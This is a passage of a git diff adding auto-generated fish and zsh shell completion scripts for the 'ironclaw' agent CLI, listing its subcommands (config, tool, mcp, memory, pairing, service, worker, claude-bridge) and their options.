ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -f -a "list" -d 'List pending pairing requests' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -f -a "approve" -d 'Approve a pairing request by code' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -l json -d 'Output as JSON' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from approve" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from approve" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from approve" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from approve" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from approve" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from approve" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from help" -f -a "list" -d 'List pending pairing requests' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from help" -f -a "approve" -d 'Approve a pairing request by code' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -f -a "install" -d 'Install the OS service (launchd on macOS, systemd on Linux)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -f -a "start" -d 'Start the installed service' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -f -a "stop" -d 'Stop the running service' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -f -a "status" -d 'Show service status' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -f -a "uninstall" -d 'Uninstall the OS service and remove the unit file' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from install" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from install" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from install" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from install" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from install" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from install" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from start" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from start" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from start" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from start" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from start" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from start" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from stop" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from stop" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from stop" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from stop" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from stop" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from stop" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from status" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from status" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from status" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from status" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from status" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from status" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from uninstall" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from uninstall" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from uninstall" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from uninstall" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from uninstall" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from uninstall" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from help" -f -a "install" -d 'Install the OS service (launchd on macOS, systemd on Linux)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from help" -f -a "start" -d 'Start the installed service' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from help" -f -a "stop" -d 'Stop the running service' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from help" -f -a "status" -d 'Show service status' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from help" -f -a "uninstall" -d 'Uninstall the OS service and remove the unit file' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand doctor" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand doctor" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand doctor" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand doctor" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand doctor" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand doctor" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand status" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand status" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand status" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand status" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand status" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand status" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -l shell -d 'The shell to generate completions for' -r -f -a "bash\t'' +zsh\t'' +fish\t'' +powershell\t'' +elvish\t''" +complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -l job-id -d 'Job ID to execute' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -l orchestrator-url -d 'URL of the orchestrator\'s internal API' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -l max-iterations -d 'Maximum iterations before stopping' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l job-id -d 'Job ID to execute' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l orchestrator-url -d 'URL of the orchestrator\'s internal API' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l max-turns -d 'Maximum agentic turns for Claude Code' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l model -d 'Claude model to use (e.g. "sonnet", "opus")' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "run" -d 'Run the agent (default if no subcommand given)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "onboard" -d 'Interactive onboarding wizard' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "config" -d 'Manage configuration settings' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "tool" -d 'Manage WASM tools' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "mcp" -d 'Manage MCP servers (hosted tool providers)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "memory" -d 'Query and manage workspace memory' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "pairing" -d 'DM pairing (approve inbound requests from unknown senders)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "service" -d 'Manage OS service (launchd / systemd)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "doctor" -d 'Probe external dependencies and validate configuration' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "status" -d 'Show system health and diagnostics' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "completion" -d 'Generate shell completion scripts' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "worker" -d 'Run as a sandboxed worker inside a Docker container (internal use). This is invoked automatically by the orchestrator, not by users directly' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "claude-bridge" -d 'Run as a Claude Code bridge inside a Docker container (internal use). Spawns the `claude` CLI and streams output back to the orchestrator' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from config" -f -a "init" -d 'Generate a default config.toml file' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from config" -f -a "list" -d 'List all settings and their current values' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from config" -f -a "get" -d 'Get a specific setting value' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from config" -f -a "set" -d 'Set a setting value' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from config" -f -a "reset" -d 'Reset a setting to its default value' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from config" -f -a "path" -d 'Show the settings storage info' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from tool" -f -a "install" -d 'Install a WASM tool from source directory or .wasm file' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from tool" -f -a "list" -d 'List installed tools' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from tool" -f -a "remove" -d 'Remove an installed tool' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from tool" -f -a "info" -d 'Show information about a tool' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from tool" -f -a "auth" -d 'Configure authentication for a tool' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from mcp" -f -a "add" -d 'Add an MCP server' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from mcp" -f -a "remove" -d 'Remove an MCP server' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from mcp" -f -a "list" -d 'List configured MCP servers' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from mcp" -f -a "auth" -d 'Authenticate with an MCP server (OAuth flow)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from mcp" -f -a "test" -d 'Test connection to an MCP server' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from mcp" -f -a "toggle" -d 'Enable or disable an MCP server' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from memory" -f -a "search" -d 'Search workspace memory (hybrid full-text + semantic)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from memory" -f -a "read" -d 'Read a file from the workspace' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from memory" -f -a "write" -d 'Write content to a workspace file' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from memory" -f -a "tree" -d 'Show workspace directory tree' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from memory" -f -a "status" -d 'Show workspace status (document count, index health)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from pairing" -f -a "list" -d 'List pending pairing requests' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from pairing" -f -a "approve" -d 'Approve a pairing request by code' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from service" -f -a "install" -d 'Install the OS service (launchd on macOS, systemd on Linux)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from service" -f -a "start" -d 'Start the installed service' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from service" -f -a "stop" -d 'Stop the running service' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from service" -f -a "status" -d 'Show service status' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from service" -f -a "uninstall" -d 'Uninstall the OS service and remove the unit file' diff --git a/ironclaw.png b/ironclaw.png index 8a919549..7f55bb96 100644 Binary files a/ironclaw.png and b/ironclaw.png differ diff --git a/ironclaw.zsh b/ironclaw.zsh new file mode 100644 index 00000000..8ff86895 --- /dev/null +++ b/ironclaw.zsh @@ -0,0 +1,2285 @@ +#compdef ironclaw + +autoload -U is-at-least + +_ironclaw() { + typeset -A opt_args + typeset -a _arguments_options + local ret=1 + + if is-at-least 5.2; then + _arguments_options=(-s -S -C) + else + _arguments_options=(-s -C) + fi + + local context curcontext="$curcontext" state line + _arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help (see more with '\''--help'\'')]' \ +'--help[Print help (see more with '\''--help'\'')]' \ +'-V[Print version]' \ +'--version[Print version]' \ +":: :_ironclaw_commands" \ +"*::: :->ironclaw" \ +&& ret=0 + case $state in + (ironclaw) + words=($line[1] "${words[@]}") + (( CURRENT += 1 )) + curcontext="${curcontext%:*:*}:ironclaw-command-$line[1]:" + case $line[1] in + (run) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help (see more with '\''--help'\'')]' \ +'--help[Print help (see more with '\''--help'\'')]' \ +&& ret=0 +;; +(onboard) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--skip-auth[Skip authentication (use existing session)]' \ +'--channels-only[Reconfigure channels only]' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help (see more with '\''--help'\'')]' \ +'--help[Print help (see more with '\''--help'\'')]' \ +&& ret=0 +;; +(config) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help (see more with '\''--help'\'')]' \ +'--help[Print help (see more with '\''--help'\'')]' \ +":: :_ironclaw__config_commands" \ +"*::: :->config" \ +&& ret=0 + + case $state in + (config) + words=($line[1] "${words[@]}") + (( CURRENT += 1 )) + curcontext="${curcontext%:*:*}:ironclaw-config-command-$line[1]:" + case $line[1] in + (init) +_arguments "${_arguments_options[@]}" : \ +'-o+[Output path (default\: ~/.ironclaw/config.toml)]:OUTPUT:_files' \ +'--output=[Output path (default\: ~/.ironclaw/config.toml)]:OUTPUT:_files' \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--force[Overwrite existing file]' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +&& ret=0 +;; +(list) +_arguments "${_arguments_options[@]}" : \ +'-f+[Show only settings matching this prefix (e.g., "agent", "heartbeat")]:FILTER:_default' \ +'--filter=[Show only settings matching this prefix (e.g., "agent", "heartbeat")]:FILTER:_default' \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +&& ret=0 +;; +(get) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +':path -- Setting path (e.g., "agent.max_parallel_jobs"):_default' \ +&& ret=0 +;; +(set) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +':path -- Setting path (e.g., "agent.max_parallel_jobs"):_default' \ +':value -- Value to set:_default' \ +&& ret=0 +;; +(reset) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +':path -- Setting path (e.g., "agent.max_parallel_jobs"):_default' \ +&& ret=0 +;; +(path) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +&& ret=0 +;; +(help) +_arguments "${_arguments_options[@]}" : \ +":: :_ironclaw__config__help_commands" \ +"*::: :->help" \ +&& ret=0 + + case $state in + (help) + words=($line[1] "${words[@]}") + (( CURRENT += 1 )) + curcontext="${curcontext%:*:*}:ironclaw-config-help-command-$line[1]:" + case $line[1] in + (init) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(list) +_arguments 